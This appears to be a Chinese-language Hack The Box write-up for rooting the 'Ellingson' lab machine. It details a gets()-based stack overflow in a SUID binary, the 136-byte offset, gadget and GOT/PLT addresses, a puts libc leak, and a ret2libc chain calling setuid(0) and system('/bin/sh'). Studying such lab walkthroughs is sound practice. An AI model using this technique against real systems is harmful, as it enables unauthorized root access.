22 October 2019
[writeup] HTB Ellingson-Part 2(Root Flag)
by xiangxiang
Let’s StackOverflow
to root
0x00 信息收集
0x01 二进制分析
- 直接把garbade和Ellingson主机上的libc拉到本地来分析
- 看上去比较简单,直接使用radara2,不开windows虚拟机用ida看了
- overflow的问题出现在check_auth这个函数中,注意点是这里使用的是
gets
函数获取的用户输入。如果想不起来gets的问题,直接man一下。
- 计算stackoverflow的offset, RBP寄存器里的字节offset为128字节,再加上64位系统的8字节,一共需要128+8=
136
字节的填充数据
0x02 如何构造ret2libc的ROP
- Stage 1 leak: 直接使用puts函数打印got.puts地址获取内存中libc gets的地址,利用leak得到的gets地址计算得到当前libc的地址
- Stage 2 ret2libc: 当然是利用libc为所欲为啦
- DEBUG的注意点: 本地的默认libc和远程服务器上的libc一般是不一样的,大多数遇到本地利用成功远程利用失败的都是这个原因
0x03 ROP stage1: Leak
puts
函数只有一个参数,x86-64的第一个参数传递使用的是rdi
寄存器,所以需要在garbage
中找到pop rdi; ret
的gadget
Ellingson # ROPgadget --binary garbage | grep 'pop rdi ; ret'
0x000000000040179b : pop rdi ; ret
- 接下来需要got.puts放在栈上(
0x404028
),再者是puts的调用放在栈上(0x401050
)
Ellingson # objdump --disassemble-all garbage | grep puts -A 5
0000000000401050 <puts@plt>:
401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC_2.2.5>
401056: 68 02 00 00 00 pushq $0x2
40105b: e9 c0 ff ff ff jmpq 401020 <.plt>
- 最后是继续回到main函数(
0x401619
)
Ellingson # objdump --disassemble-all garbage | grep '<main>' -A 5
0000000000401619 <main>:
401619: 55 push %rbp
40161a: 48 89 e5 mov %rsp,%rbp
40161d: 48 83 ec 10 sub $0x10,%rsp
401621: b8 00 00 00 00 mov $0x0,%eax
401626: e8 2e fe ff ff callq 401459 <check_user>
- 最终stack上leak阶段的ROP链大概是这样的
运行结果:
- leak后计算内存中libc的地址, Ellingson主机上libc的put位置是
0x809c0
, 使用leak得到的puts地址减去0x809c0
就是libc在内存中的位置
0x03 ROP stage2: ret2libc
- 接下来其实就是利用libc构造提权以及获取shell的ROP了
garbage
是以margo用户运行,但由于具有SUID权限位且属主为root,所以可以执行需要root权限的调用
- 利用libc调用
suid(0)
变成root
- 利用libc调用
system('/bin/sh')
获得shell就大功告成了
- DEBUG过常中遇到未解的坑: 在没有调用setuid时候,ret2libc应该可以拿到margo用户的shell,本地调试时候利用成功,但是远程利用失败。但是如果构造rop的时候连续调用两次
system('/bin/sh')
可以成功,有点迷。
rop.system(next(libc.search(b'/bin/sh\x00')))
rop.system(next(libc.search(b'/bin/sh\x00')))
0x04 Full exploit
0x05 Get root
flag
tags: htb hackthebox writup ellingson pwn stackoverflow pwntools gdb radare2 root